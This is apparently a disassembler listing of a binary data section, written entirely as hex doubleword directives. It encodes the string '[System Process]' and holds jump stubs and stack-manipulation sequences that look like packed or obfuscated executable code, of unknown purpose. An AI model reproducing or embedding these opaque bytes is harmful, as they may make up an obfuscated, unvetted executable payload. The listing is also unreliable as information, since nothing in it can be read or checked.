dd 2F00h, 0
dd 800h, 0
dd 73795300h, 6D6574h, 6F725020h, 73736563h, 5Dh, 43h dup(0)
dd 1804E900h, 0AA680000h, 0E90617B2h, 0FFFB9A3Eh, 17B39C68h
dd 9A34E906h, 8368FFFBh, 0E90617B4h, 0FFFB9A2Ah, 17B55168h
dd 9A20E906h, 5268FFFBh, 0E90617B7h, 0FFFB9A16h, 17B8A968h
dd 9A0CE906h, 8268FFFBh, 0E90617B9h, 0FFFB9A02h, 17BA4B68h
dd 99F8E906h, 0F268FFFBh, 0E90617BCh, 0FFFB99EEh, 17BDD268h
dd 99E4E906h, 8D68FFFBh, 0E90617BEh, 0FFFB99DAh, 17BF2068h
dd 99D0E906h, 568FFFBh, 0E90617C1h, 0FFFB99C6h, 17C62768h
dd 99BCE906h, 2668FFFBh, 0E90617C7h, 0FFFB99B2h, 7BFDFC3h
dd 6BEE8BDh, 4BCEABCh, 0B8E6BAh, 1B9EDB6h, 7B28DF91h, 7629732Bh
dd 7E267028h, 7B267028h, 504B6B23h, 9618D23Ah, 8C0987B3h
dd 0FD96247Dh, 45427BA6h, 98E0D1A4h, 0B7479A0Ch, 722A742Dh
dd 7D6E2D5Eh, 0DCC30BC4h, 428C74C2h, 0EC1B581h, 2E086DBBh
dd 5C2DBB93h, 6F66DE46h, 0DE0934Ch, 66C3257Dh, 0CDC94C6Fh
dd 0EB9FB854h, 42D56A40h, 20000000h, 0D2C386B3h, 93C10FBCh
dd 0ED7D30BBh, 6C415395h, 0B9B0B4Ch, 0EFAFF17Bh, 0E47D795Fh
dd 8E938FE1h, 941291D9h, 0D662F541h, 64E36A41h, 3E6339A2h
dd 53F7A960h, 0E8BEE565h, 66287B58h, 0F6h, 0CD247DB1h
dd 5D3ACAD4h, 0C01A998Ah, 90EF3AD1h, 0E06AFA4Dh, 5853E3C3h
dd 83139310h, 0CED353A6h, 0EBB640D0h, 74E3FBB3h, 8EB581C6h
dd 89D38B13h, 3DE8A218h, 42A4D462h, 0AFC57E6Fh, 0B581D549h
dd 66F649FCh, 3122E112h, 31753078h, 2371C4A1h, 0BB93D67Eh
dd 70843CEFh, 478F8043h, 0D9B64658h, 947F9586h, 7542782Ch
dd 0F94C762Dh, 0CF048335h, 320F9F72h, 96873ADFh, 0C151554Eh
dd 58A091E4h, 0E8A35B4Bh, 10A006A0h, 4360E033h, 1FC92F45h
dd 0FEA14658h, 142AFBA0h, 46581FECh, 8DBAE61h, 0DA87174Ah
dd 0B189213Ah, 1554h, 6B237B27h, 6A228421h, 68208620h
dd 641C821Eh, 651D891Ah, 178C7BF5h, 128DD78Fh, 1A8AD48Ch
dd 178AD48Ch, 0B4AFCF87h, 961B769Eh, 0F06DEBB3h, 529C267Dh
dd 2461CCB2h, 0EA34ECBFh, 0AEF6E7B7h, 762EAEF8h, 70C3A030h
dd 0C40C5BB8h, 5835C5E1h, 0A9AB5167h, 0EB9EB581h, 7A3D4E98h
dd 0B452A1C8h, 722C75D3h, 0C5DBCC9Fh, 0BB936B04h, 9EF68639h
dd 4C6F3B4Ah, 31DD4642h, 6A412D26h, 0AF4Eh, 247D9900h
dd 0BD753396h, 0F7CAE258h, 0F7058706h, 7FE1118Fh, 91129C2Ch
dd 0E7673768h, 8111E4BAh, 81668A29h, 0D1CDD4B5h, 0CCD2CF19h
dd 0F8DBE83Ch, 6988F107h, 0ABDBB93h, 0CED0D119h, 560E613Eh
dd 61523142h, 78979F4Bh, 0FAEB9E42h, 0B1C52B41h, 0C578465Bh
dd 6A398172h, 2FCC4B3Ch, 208BADDEh, 0A4EEA6F9h, 0FCE9A7FFh
dd 0B63AD9C7h, 1462461Eh, 89190000h, 92135D15h, 94125C14h
dd 90105A12h, 970C560Eh, 89E7570Fh, 0C981257Eh, 0C67E207Fh
dd 0C67E287Ch, 0C179257Ch, 6890A6A1h, 0DDB3961Ah, 267DE25Fh
dd 42D2CCD3h, 90DA9265h, 78D58D11h, 0D73D530Ch, 8AB581A9h
dd 9D0484D7h, 2E767101h, 16A03076h, 0AC89198Dh, 9B0686D9h
dd 0A5014B03h, 0BAE77101h, 34D82CE4h, 3FDE81B2h, 68A1C920h
dd 293F3003h, 0BB93DC6Ch, 8C9C5609h, 54E63F5Bh, 56470A37h
dd 524C559Dh, 40D0CED2h, 19C21063h, 4EB9F002h, 57B9DDB7h
dd 0CFA26234h, 17DEEB3Fh, 3896C61Ch, 0E2D3A678h, 0C666D7CCh
dd 4435E847h, 7C0CF2C5h, 9F07FF56h, 0C79A7707h, 4BCA8374h
dd 3BF1FD73h, 8819997Eh, 56A98616h, 77EFCBD6h, 8563F5A0h
dd 53268024h, 237EC880h, 6DDEBD7Bh, 0E8803F38h, 137B10h
dd 0FCA20000h, 0FBABFA44h, 0F9ADF943h, 0F5A9F741h, 0F6B0F33Dh
dd 63A2CE3Eh, 64AE6640h, 61AB633Bh, 61AB6343h, 86A65E40h
dd 1D8F758Bh, 44C2B396h, 7A247DC7h, 970EFEAh, 695B8315h
dd 0B34051D9h, 0C6AD86FCh, 813D48B0h, 774AFDB5h, 0EAA9DA24h
dd 476AE3F9h, 0C70FBB93h, 55DEE4DEh, 4B3DED58h, 0B80BE878h
dd 5EA86013h, 77CB5B43h, 8096874Ah, 42777C4Dh, 8ED6C77Ah
dd 0B1576D13h, 0C94657DFh, 7124C9DDh, 0DF826A80h, 4B74657h
dd 722F7931h, 3B489C2Ch, 0DFFC243Ah, 11714657h, 6C3F1294h
dd 2F4A657Bh, 0CC7F484Fh, 0AC0E93DBh, 9C8EFF10h, 7F370A90h
dd 0A2326C35h, 6D5E3D4Eh, 2D9C2A57h, 9A580B56h, 2EAF2421h
dd 0ADE3BB53h, 0CE000012h, 0C812CAD4h, 0C711C9DDh, 0C50FC7DFh
dd 0C10BC3DBh, 9C0CC4E2h, 347231D4h, 316D327Ch, 31752F79h
dd 2C722F79h, 43595474h, 0B3961CDDh, 0C951290h, 0A9D73D53h
dd 0B98AB581h, 81A97DA3h, 6A3DF0B5h, 9A0C9717h, 0C0BDCEE2h
dd 81A942AAh, 7144F7B5h, 4BB1C780h, 0FEB581A9h, 0CED8CB4Bh
dd 1D0E613Eh, 1E881C64h, 0AAC0B18Eh, 0B581A942h, 0A3F144F7h
dd 0BB93BDFEh, 3575D86Fh, 91BD1FFFh, 82D8F8DAh, 28FBDC99h
dd 0ECB2EF37h, 0C60E0999h, 5C39C9DDh, 86188909h, 6D9413CEh
dd 97AEE76Ch, 643DBD10h, 9F01493Ah, 24F7961Bh, 6C3FE8D1h
dd 1CACFFDCh, 0A4BABBC8h, 4C6C697Ch, 941291F1h, 0D4542704h
dd 6643D3CBh, 7B8CA293h, 70427E77h, 1B7BA1B7h, 3BEE465Ah
dd 0BCE343E8h, 0A57F0FE2h, 644262AAh, 5DC3D9D4h, 10465A1Bh
dd 3D378A5Dh, 0F1ADF424h, 35142539h, 0F452E44h, 66AE4848h
dd 0F9D66640h, 0BE4E01A6h, 0CB267BC3h, 68F8CBDBh, 0DE0C6DEh
dd 37673ABAh, 5CC5C1A7h, 0D1C281B2h, 5A23D6BBh, 7A278756h
dd 0A3762877h, 0AB633613h, 0CE5E4061h, 3632B276h, 0C30B2652h
dd 1B8B19E0h, 66FBF548h, 9E02EFB2h, 6C11F21Ch, 1EF12D8Fh
dd 43DB5A4Bh, 2C03C1AEh, 0F0AEF171h, 78308360h, 3A2B732Eh
dd 0F1ADF2h, 367A02EAh, 31843752h, 5D3C4DA1h, 6B8D566Ch
dd 62C25C24h, 0D48C5F3Fh, 4A77BF80h, 5EDD9687h, 0EE6F22F1h
dd 596F60F6h, 542427B3h, 52A0F3A6h, 5A3CD777h, 0E5C1E444h
dd 0CCD92112h, 1A6D4ADAh, 21851E60h, 77EF3991h, 0BF3E6E0Ch
dd 277F45BAh, 5B12EF7Fh, 89DC656Ah, 5E4F323Fh, 52698FA5h
dd 0A4016E0Ch, 0F0957202h, 0E3F9EA3Dh, 6014A2C0h, 95142F5h
dd 44E0698h, 27CDE39Dh, 1A60F7E5h, 0E5B9E767h, 15A57855h
dd 0D3D3D21Ah, 3A30080h, 757D4245h, 845CF41Ch, 10ACh, 13CBD3CFh
dd 12CADCC9h, 10C8DEC8h, 0CC4DAC6h, 0DC5E1C2h, 6F34D39Dh
dd 6A357F37h, 72327C34h, 6F327C34h, 5C57772Fh, 961EDE46h
dd 981593B3h, 0CED3267Dh, 0FB45FDD0h, 0DE68F8A6h, 31752EC3h
dd 5A7ECE5Eh, 0E9011C1h, 0BF174056h, 0A25D642Fh, 0A8000001h
dd 0EA7A247Dh, 0A55D4160h, 0F51B31EAh, 68B581A9h, 0F5E97BD1h
dd 0BC8F0A2Dh, 2F121F69h, 254F283Eh, 35E8BB93h, 6D9B4DA5h
dd 0E3C34C6Fh, 0F6A933C3h, 363218A8h, 4C489A2Dh, 554A92D7h
dd 0ADAAF649h, 0C76A40F6h, 6Fh, 0C386B312h, 0D2D119D2h
dd 963381D4h, 5BBB93C1h, 2DD3E9A2h, 204C6C41h, 41F91F6Dh
dd 15914C6Ch, 7F240191h, 21D479CCh, 579BB130h, 9677D115h
dd 29069610h, 0A94F6556h, 9C4C6CE7h, 0AE0696E9h, 4C6CE77Ah
dd 0F1078124h, 4C6CE70Bh, 28B88B3Eh, 0D9D019Eh, 0FD8099BDh
dd 9AAAAFABh, 6A4270BDh, 66E0988h, 860814E8h, 907133h
dd 7DBC0000h, 60EA7A24h, 49D36343h, 0D554658h, 27B70A94h
dd 667C049Dh, 0B581A9BEh, 752D00B3h, 81AEFE5Dh, 59908B5h
dd 0CBD3CC14h, 530B5E3Bh, 5E4F323Fh, 69AE1848h, 796A1D44h
dd 7C347231h, 77357132h, 30E87E36h, 55AC841Ch, 2600000Fh
dd 206A227Ch, 1F692185h, 1D671F87h, 19631B83h, 0F4641C8Ah
dd 8C1A897Ch, 89158AD4h, 891D87D1h, 841A87D1h, 9BB1ACCCh
dd 0B3961175h, 0CED6AE8h, 8F17E2C4h, 0D7AA8717h, 79F0484h
dd 29C054Fh, 247DED4Ah, 4160EA7Ah, 0A9C3293Fh, 0C376B581h
dd 0B3EE38F0h, 0BE3E683Eh, 5AEABDE1h, 1688175Fh, 894879C3h
dd 0DC60DF98h, 0F036ABFh, 0DFBFE161h, 9713E8Ch, 7326BB93h
dd 4DB3C982h, 4C6F09h, 0B28C2469h, 0DE0606Eh, 8E4702BAh
dd 6F5F9078h, 0E7B7EA4Ch, 6E3C8F42h, 86Ah, 80267DD1h, 58C0D68Fh
dd 0DB581A9h, 1F77075Ah, 0B581A9C5h, 0EADBBECBh, 9959E9D4h
dd 3A2BDEBBh, 37EFAFF2h, 5AEAB4EDh, 8026D3D0h, 0E6B99626h
dd 0EB607128h, 532BC330h, 0E7Ch, 43FBA3FFh, 42FAACF9h
dd 40F8AEF8h, 3CF4AAF6h, 3DF5B1F2h, 3F64A3CDh, 3A65AF67h
dd 4262AC64h, 3F62AC64h, 8C87A75Fh, 96108E76h, 0C845C3B3h
dd 0C880267Dh, 0D8CE237Eh, 2D433ECEh, 0B581A9C7h, 21F4C77Ah
dd 49A0791h, 1B002474h, 0C3B4EAB7h, 2679257Bh, 0BEFF586Eh
dd 1775642Fh, 62000000h, 0C518861Ah, 0B47AAF32h, 0FDDB581h
dd 0FFFFFDB4h, 0CAD4CC14h, 75AFE477h, 5BB581A9h, 647A6B2Eh
dd 0BB995971h, 0A4DCF66h, 0AD366DD7h, 69B47197h, 5E31E44Ch
dd 53529A8Bh, 0F5E6C353h, 69B439DFh, 26792C4Ch, 3DB4ED35h
dd 0D0AD3D69h, 0DFC40CFDh, 4A1D891Ah, 0ACF53FF7h, 0CBD862F2h
dd 2C8C1DDBh, 16AE30EBh, 0DB33Eh, 0C4DAC800h, 0C3E3C20Ch
dd 0C1E5C10Bh, 0BDE1BF09h, 0BEE8BB05h, 2BDA9606h, 2C762E78h
dd 29732B73h, 29732B7Bh, 4E6E2678h, 13D73D53h, 0C8AB396h
dd 458D0C8Fh, 0FCAAFA94h, 0B5834745h, 0DFBFE262h, 0C2DCC54Fh
dd 0A5BEE232h, 0BA722C75h, 2F55B3A4h, 0DC164h, 0AF0C0000h
dd 0B581B47Ah, 0FCFA0FDDh, 0C72FFFFh, 0A9D73D53h, 2A8AB581h
dd 4572A7Ch, 0D9CA89BAh, 0BB183D5Ah, 53699A19h, 0B581D8ADh
dd 9A1AEDA0h, 2D0A9A0Ch, 0E830E9DAh, 4AB2C8B8h, 0FFB581D8h
dd 0CE9794Ch, 0F989158Ch, 0FE7BC91Ch, 1FBB93C0h, 9115E4BFh
dd 0DF6F4215h, 9D099CE4h, 0C02BFC4Ah, 2F714C6Fh, 4F55DF6Fh
dd 0C0FD2339h, 0BD704C6Fh, 0A7C95AEAh, 5F475EB2h, 0CD1FF2CFh
dd 0BBBE5BDAh, 0F03F923Ch, 8EBEA39Dh, 6A41A4C9h, 216ABh
dd 0A5AFF600h, 0A2B581AAh, 0AF425FBFh, 421FAFF7h, 43FCB76Fh
dd 81A9C72Dh, 74C77AB5h, 61F1ADF4h, 81AA4709h, 84CCC7B5h
dd 0FAF58521h, 7E563CE4h, 0AB7E314Ah, 0A4C55E58h, 4524CB25h
dd 0C0B1E843h, 7E1742AAh, 0F144F74Ah, 0E3C13071h, 2438F0C3h
dd 0AAA53516h, 577E4462h, 0E705D1A8h, 27049467h, 514D54D4h
dd 55FDE99h, 20AF7F8Fh, 534ECE21h, 1163BB4Bh, 974A7E1Ch
dd 59455CA4h, 9F99ECC9h, 5CD8ABAh, 8CA76430h, 0F2000001h
dd 0EA7A247Dh, 0F3B04160h, 734623B3h, 0CB8100BBh, 0E4545B9h
dd 366837B7h, 0A96899E3h, 61F5A2B8h, 0AF62BB93h, 9EF05BEh
dd 3C4C6F20h, 0ABA63689h, 0D1613D63h, 0A5693DF4h, 1BB7BDF7h
dd 0E4AE7AC8h, 0B4F04C6Fh, 0CBD862F2h, 6D714BDBh, 837FD1F4h
dd 6DE96E9Eh, 528B6A41h, 0D6000000h, 8F1686B3h, 0D4534417h
dd 8EE4716Ah, 0A899EC7Ch, 0F82036EFh, 21B5818Ah, 818AE50Bh
dd 0A558B5h, 13A303A0h, 0BEE36336h, 207350E0h, 93E271D2h
dd 39346BBh, 6FA279ABh, 145C4F4Ch, 0C8C21591h, 0B3A4B353h
dd 0D6D06A41h, 0BD000000h, 1F722C75h, 3D530C8Ch, 0B581A9D7h
dd 484D78Ah, 0C810019Dh, 0E676C9DDh, 0F2B2475Ch, 0C74724B4h
dd 5A37C7DFh, 574E9687h, 8FE2BF4Fh, 722C75FFh, 554958E2h
dd 0C24E859Dh, 0F9A8B581h, 0B332EDA5h, 227288F8h, 0F74194E8h
dd 1607CAh, 4469DAA0h, 0C21F3ED5h, 23E1C1A9h, 1EF41C32h
dd 0B6694C6Bh, 2339F2E3h, 4C6B1EFDh, 796ABD70h, 7C347231h
dd 0AF208C1h, 3F4C6B1Eh, 0E9DCD58Ch, 380BC65Ah, 683E65E5h
dd 0E99207AAh, 0C1993130h, 0B0Ch, 0B36B336Fh, 0B26A3C69h
dd 0B0683E68h, 0AC643A66h, 0AD654162h, 0CFD4333Dh, 0CAD51FD7h
dd 0D2D21CD4h, 0CFD21CD4h, 0FCF717CFh, 96153EE6h, 38B533B3h
dd 0C6E0C40Ch, 119F930Fh, 65919FBh, 0D1891D86h, 0CC841A87h
dd 7A247D6Fh, 5D4160EAh, 46C0DA5h, 73700000h, 0B998A9F3h
dd 9C900FC8h, 1C4A2A50h, 6B866EBCh, 8BBB581h, 9AAEC4B5h
dd 9FBB999Bh, 0AF3F673Fh, 3945FFD2h, 42584908h, 427AD535h
dd 76BEAF62h, 0DD43592Fh, 9046575Eh, 27B70ADDh, 575E15CFh
dd 0E2777346h, 58C3F562h, 3BF7F70h, 0AFCA0000h, 0B581A975h
dd 81A9BC57h, 50CE4DB5h, 451CDACDh, 565BE8A6h, 0AD3C3B9Fh
dd 3CE3105Ah, 625155D3h, 0CFDD0A1h, 70C3DBC4h, 0ECD0697Fh
dd 32E5BB93h, 0ED74C374h, 8159F130h, 0A2Ch, 934B534Fh
dd 924A5C49h, 90485E48h, 8C445A46h, 8D456142h, 0EFB4531Dh
dd 0EAB5FFB7h, 0F2B2FCB4h, 0EFB2FCB4h, 0DCD7F7AFh, 96145EC6h
dd 189513B3h, 0D3CD247Dh, 8B5E3BCBh, 0B79AA7FBh, 59E9B0C6h
dd 0EB9EBB99h, 0C52B41FAh, 784C69F8h, 0A6BA72C5h, 0AFC5B695h
dd 427108ECh, 3CF5E699h, 510BFE26h, 6DC07346h, 336B347Ch
dd 959637Bh, 0D9E74651h, 0A88605F6h, 0E48332BBh, 733371F1h
dd 0FBB306E3h, 9BCCEEB1h, 3AAC2972h, 21AB3B0Eh, 938E1E80h
dd 3A5CBC14h, 499CD52Ah, 1E0FF2FFh, 70891D65h, 1DE6E30h
dd 6EC19E2Eh, 43BD4720h, 7F3DF048h, 24BD6FC0h, 71825AF2h
dd 0A000009h, 44E0698h, 34D05A1h, 14B03A3h, 0FD47FF9Fh
dd 0D84800A6h, 70366D98h, 6D316EB8h, 6D396BB5h, 68366BB5h
dd 7F9590B0h, 0B3961799h, 0B3D14ECCh, 53D2C386h, 3AE2A24h
dd 1D0E61B2h, 99004407h, 535AF1BBh, 0CB59CD33h, 0BF07F8CBh
dd 85CDBEE0h, 17F4841Ah, 0DDC20CC4h, 0ACDD31C1h, 0EFB4FCEDh
dd 0C9F14BD3h, 8053D7F1h, 0CFC013F0h, 71F7F2B9h, 64F4A742h
dd 23832169h, 1963B693h, 223829E8h, 484346F1h, 6CF5B366h
dd 5E24BDDEh, 8DEEEC6h, 59D0000h, 0E97E199h, 1096E098h
dd 0C94DE96h, 1390DA92h, 56BDB93h, 4D05A102h, 4A029C03h
dd 4A02A400h, 45FDA100h, 0EC142A25h, 61B39616h, 0C40C66E3h
dd 1A8C17E2h, 87DAAD8Ah, 74049A07h, 57E7B7EAh, 9A7EE307h
dd 0C9DF9707h, 642FBA8Eh, 1E0E6h, 86B33100h, 0A3BCD2C3h
dd 0D4BB93C3h, 0B3AC353Dh, 3C0F2CA1h, 0AB9054ACh, 0D9CA4C6Ch
dd 0F3B33DCDh, 0A66823B3h, 0BCB80ABDh, 0B8B0A7A7h, 0AEC46A42h
dd 0F000001h, 897A247Dh, 165E6441h, 0A27E94D4h, 26B609DCh
dd 0A899059Ch, 0D3634360h, 752976F6h, 25566A22h, 1B538D82h
dd 0EEC1985Fh, 0EA8EE7FDh, 0F4A7BB93h, 0CC344A03h, 0A64C6FBDh
dd 5003A8FEh, 2A726DFDh, 87D52876h, 4C6FBD5Dh, 1A2A2F2Bh
dd 6A41A63Dh, 6A37h, 530C8200h, 16BC98D4h, 71BFC25Dh, 0B581C08Bh
dd 61455EBEh, 0C0F13B8Eh, 41571001h, 0B581C0DBh, 9788DB8Eh
dd 93A8C081h, 3F61A9BBh, 0E6135C7Bh, 1DF03E8Eh, 7030B08Dh
dd 6EC19E2Eh, 2E8616C9h, 4C6F8CFAh, 0D97DFD2h, 6A92A899h
dd 0DF4C6F8Ch, 7ADFD92Ch, 41998DCAh, 4C39B86Ah, 709DCA9Ch
dd 7C227FFFh, 0DA6729h, 7DB20000h, 60EA7A24h, 0D8D36343h
dd 0CBBD4D59h, 0A8BEAB6Ah, 0B5812B40h, 1C6F42F5h, 999059Ch
dd 0D6CF227Fh, 726340D0h, 812BB45Ch, 23F6A9B5h, 0FA31B06Bh
dd 0E5F7403h, 9AC028EDh, 0D24511E3h, 6643D3D3h, 0F3F24093h
dd 0BCB5811Dh, 0E3732B74h, 6E33B306h, 69C03F30h, 469DE3B0h
dd 7421C7DDh, 6114B581h, 6F833B8Eh, 0D58E7F42h, 0FF8F178Dh
dd 2381CF22h, 0ABB9688h, 6EC1DDC2h, 74C32C9h, 46FDA9FDh
dd 0A2759607h, 6C3A69B1h, 316D337Bh, 0B971C4A1h, 0B472346Fh
dd 30EF1D21h, 0F9A37B13h, 82000006h, 7CC67E20h, 7BC57D29h
dd 79C37B2Bh, 75BF7727h, 50C0782Eh, 0E8BEE520h, 0E5B9E630h
dd 0E5C1E32Dh, 0E0BEE32Dh, 0F70D0828h, 0B3966811h, 7D49C644h
dd 7EC88026h, 66C37B23h, 0EA7A247Dh, 6C5D4160h, 91217D24h
dd 11A961B4h, 5Eh, 0D1A07374h, 0CCD91889h, 9A7707DAh, 0DCCFD47h
dd 59C1061Ch, 43F6BB99h, 9D839952h, 0F54C69F8h, 9B4EF3ABh
dd 0FBF171E4h, 66B9D247h, 0F47E60ACh, 5A1304C7h, 7F0F8F12h
dd 0C4F546BEh, 4A1DFDBBh, 3DCDD9CAh, 87BF0D60h, 0AE4271FAh
dd 0D58E41FBh, 515D59BFh, 6590C46h, 4438h, 86B39B00h, 0E4FA8E16h
dd 0B581A93Ch, 1BAB7E31h, 647A6B3Eh, 0BB93B89Fh, 928D1DD0h
dd 9C180E13h, 18CFB971h, 4B24C89Ah, 0C5AAD3Fh, 4C6C8CD9h
dd 47C15A7Ch, 5066573Ah, 427E9D8Bh, 0B95109BCh, 89h, 0C386B31Ch
dd 0F69653D2h, 0C9F76714h, 546F8576h, 15BB9997h, 0C3F63596h
dd 2E81060Fh, 9F49D689h, 3F2426BDh, 4621480Fh, 482C6Ah
dd 0B3770000h, 0BCD2C386h, 0BB995988h, 198D1961h, 0E16E21C6h
dd 0BCBE5537h, 6DB0A7A7h, 27C46A47h, 0F000000h, 0D73D530Ch
dd 8AB581A9h, 93A84D7h, 243594Ah, 33BB9959h, 6749F380h
dd 0B955CED0h, 6A476A9Eh, 14D6h, 1AAF2100h, 0FDB581C5h
dd 0C5E1C40Ch, 37055835h, 0FFFFFF36h, 0DF86B39Ah, 0C1E0871Bh
dd 0B9704DDDh, 6A3D97DFh, 774C6379h, 0CE81BB99h, 961095DDh
dd 22382906h, 4C69D6FAh, 0D969BC6Fh, 990D96DEh, 8FD92C09h
dd 98AE9F62h, 427126AEh, 4944D487h, 1E477CAh, 69BCBA4Eh
dd 0FB11121Fh, 4651F815h, 8B159548h, 0D3A68313h, 98069AE2h
dd 233E5445h, 58484908h, 0E5FBB4A5h, 58390B3Fh, 0A7FF7F32h
dd 3F926FFFh, 79F064Eh, 4B0E3B4Fh, 0FB79445Ah, 7B2E5621h
dd 4462428Ah, 9C849A53h, 0D152215Bh, 5813CB1Eh, 9588E0D9h
dd 29069610h, 4040CE72h, 7D8A9FEDh, 0C1E0AA08h, 0C6DB25DDh
dd 0C7F448D8h, 8FD1304h, 2DF4EACAh, 0C6DE465Ch, 3393FCE6h
dd 0C6A33373h, 69020F3h, 0EF79099Dh, 775DEDB1h, 0FDFE67Bh
dd 0DFC2160Bh, 0E7BD07BFh, 0A52FBFh, 0C9D03FC2h, 8E619003h
dd 592F74FEh, 0E6CFDD43h, 0ADD90FCh, 0CB6F07Ah, 7D8F6F15h
dd 8818EB83h, 8B160BCDh, 8D5766CDh, 6718EB3Ah, 32EBBCA5h
dd 9BE9B5EAh, 0FCE67975h, 62E235E8h, 62AC6442h, 40D46442h
dd 0CF543860h, 25CBE19Ah, 18FCE679h, 56E2D881h, 0A97C9B1Ah
dd 0D8CED656h, 9BB3C320h, 7E50CFC0h, 3D613F72h, 6192F386h
dd 8CDFBFE1h, 6F2F72FCh, 64FDF9DFh, 3FF7C4EAh, 65F2ACF5h
dd 0D9B4D8BBh, 0D8CED820h, 0F71D6B48h, 6AB58183h, 0F16A64B7h
dd 641E8021h, 93238322h, 8183D53Bh, 0C0595DB5h, 0DD2D9510h
dd 0F1176BE1h, 0B4FEB689h, 2B26B6F0h, 0CFFC3E3h, 1D749681h
dd 0A27F0FE2h, 0AA24014Fh, 0A2A6B581h, 8F69E8B9h, 81C8093Dh
dd 0FF8F178Dh, 7CFC4F22h, 0AEC67E28h, 0B581D281h, 0C31C3C88h
dd 735A642Fh, 0A5FFFFFFh, 0C27A247Dh, 0E8752978h, 0B8455948h
dd 9F73E8A4h, 0D4E29C02h, 642FBE83h, 3BF1h, 8D0C3C00h
dd 7C7EBF00h, 4D97EA0Eh, 65CF793Ch, 0E5947749h, 3B0B2112h
dd 0FABB9923h, 2D10BA47h, 2CDA3FFBh, 354B3C1Fh, 42719311h
dd 911590D8h, 2CD12401h, 472FBF79h, 92000000h, 0D2C386B3h
dd 88186019h, 5BA98616h, 0B581A9B5h, 2E75F5A8h, 0EFD72578h
dd 0C6BB9959h, 80DC8613h, 16302923h, 0AF208E5h, 3F4C69F8h
dd 585BDEA8h, 60338DC5h, 40869C8Dh, 2942713Ch, 50E0BEE1h
dd 0C87B2073h, 0C40CB90Eh, 5431C1DDh, 7E208101h, 4660458Dh
dd 0F686D9B6h, 7869356Ch, 0A943A9BFh, 43F6B581h, 0A9D43C52h
dd 0D689B581h, 8AB7CB83h, 0D7C0D6C7h, 80BB93C5h, 4D208620h
dd 678DA35Ch, 0DA4C6C4Ch, 0EC44D427h, 4C6C4C38h, 0DA8F9490h
dd 2921492h, 0D186D225h, 0A36A41D5h, 3Eh, 46584890h, 0F386D9B6h
dd 0D2C386B3h, 93C10FBCh, 0ED7D30BBh, 0FAF7AAF2h, 9626F9A5h
dd 0CC1866B9h, 0BC4C6C41h, 0D9C810C9h, 419177C5h, 11C44C6Ch
dd 0AF5FC4BEh, 6A41D6A8h, 0F2CCh, 247D1700h, 70EFEA7Ah
dd 0C4B9E42Bh, 7F80524Ah, 0AB21390Ah, 9E0585D8h, 0B3EE7808h
dd 0D0D15BEBh, 1195DDCEh, 0D5280595h, 10E3621Dh, 0A24A6078h
dd 97B581F7h, 93EF2DE4h, 1DBC0A5Dh, 67B58194h, 0F1AC643Ah
dd 9CFA2238h, 0BC6FB581h, 0E6B8E969h, 69376F5h, 2808BA1Dh
dd 0CB4A45D5h, 0FE243E96h, 0BF095C34h, 25DECFB2h, 289BAAA6h
dd 6594DE7h, 93E8C3B8h, 0D0C174BBh, 0F8881E88h, 0FC10C81Bh
dd 621B0CCFh, 0AB6D93A9h, 2DE04C6Fh, 5AD68CDAh, 0B4674278h
dd 7E287BC3h, 408C0BC6h, 54F1BE90h, 23800053h, 0DA28C583h
dd 821A3ADAh, 1D7AAh, 0A0FEA400h, 9F079EE8h, 9D099DE7h
dd 99059BE5h, 9A0C97E1h, 7FE72E2h, 8520A9Ch, 54F0797h
dd 54F079Fh, 2A4A029Ch, 6FF3192Fh, 0E866B396h, 80267D6Bh
dd 488E0DC8h, 0C0BCC27Eh, 5A47C71Ah, 0C2F8C44h, 0A9D73D53h
dd 0D78AB581h, 4A093A84h, 0C1864359h, 4B7BB93h, 41C81C74h
dd 0CDC04C6Ch, 0F5852185h, 56CBC518h, 0C7D7C911h, 0D72F2874h
dd 0CE166A41h, 0B87ACDD1h, 0D9h, 0CD247D03h, 0E017CED8h
dd 1135A9Dh, 840E9E71h, 9FF7871Fh, 0B5817630h, 8F47574Ah
dd 0B2425C45h, 800038B7h, 7CE40A7Eh, 42D2DF29h, 7F704363h
dd 93771069h, 1591D9BBh, 57E7BFE4h, 3A17A77Ah, 0E4586683h
dd 0D72A65C8h, 0CC77F32h, 0A5D73D53h, 0D78A4C6Fh, 0A528D0E6h
dd 6A1D4C6Fh, 0DDBCCD17h, 583BD6ECh, 5D104278h, 277F246Ch
dd 0A7E256Fh, 58C80CF4h, 0BB8E4146h, 0DA5016FDh, 0D8B0483Ah
dd 0D8h, 0E79FFFA3h, 0E69E089Dh, 0E49C0A9Ch, 0E098069Ah
dd 0E1990D96h, 9B08FF71h, 9609530Bh, 9E065008h, 9B065008h
dd 302B4B03h, 966EF21Ah, 6CE967B3h, 965E8D0Ch, 8CBE2EE8h
dd 0BCEAB939h, 0B7E7BA04h, 49C544FFh, 0FCA2FEA8h, 0B7DB3945h
dd 0A5048976h, 0ED401300h, 7A247D5Ah, 5D4160EAh, 58465BA5h
dd 89DE5A0h, 0DE310E9Eh, 6A5B435Eh, 33248222h, 81A9F71Dh
dd 64B76AB5h, 96E7CD4h, 5C58E0C9h, 108E13C7h, 0A850661Fh
dd 9D613908h, 95DF97EAh, 59A1920Ch, 0EDCA5A4Ch, 20800A9Ah
dd 5C458D7Eh, 82D5B242h, 0BE3B68F2h, 4F2CBCE2h, 4162EC7Ch
dd 2244D565h, 0B2B68639h, 663869A9h, 7EA6BC75h, 0F3613908h
dd 0EB35ED40h, 0AFF7E8B6h, 0C959ACF2h, 3F1h, 13AE5400h
dd 0E979257Dh, 0CC5C425Fh, 0B4446242h, 9929752Ah, 8212940Fh
dd 6BFBABF8h, 4FDFBFE1h, 35C5E1C5h, 1CACFAABh, 25CA6839h
dd 8F540000h, 4832404h, 89530424h, 4C381E3h, 81000000h
dd 4EBh, 241C8700h, 2434895Ch, 3B4E68h, 241C8900h, 0A5064DBEh
dd 0C0E68146h, 8166AA39h, 195916EEh, 9ABF5736h, 2905923Ah
dd 0C6815FFEh, 139C1D5Ah, 275CC681h, 0EC83E787h, 24248904h
dd 4240483h, 6E0F685Bh, 34890000h, 8438F24h, 5B2434FFh
dd 4C481h, 348B0000h, 0E0895024h, 405h, 4C08300h, 5C240487h
dd 0FB824DE9h
dd 77456DFFh, 8D6ADC23h, 23B8988Ah, 30617C8h, 7DE0FFC5h
dd 3878B9A6h, 0AC4233A8h, 1C2A8B4Dh, 0B2491A1h, 9A3B1006h
dd 30308BE0h, 0AE35A2F7h, 0CF447667h, 8B6BF54Ch, 52006AC0h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 0EE44DA86h, 6635BD32h, 0B6E34DBBh, 91BD83D3h, 6121Bh
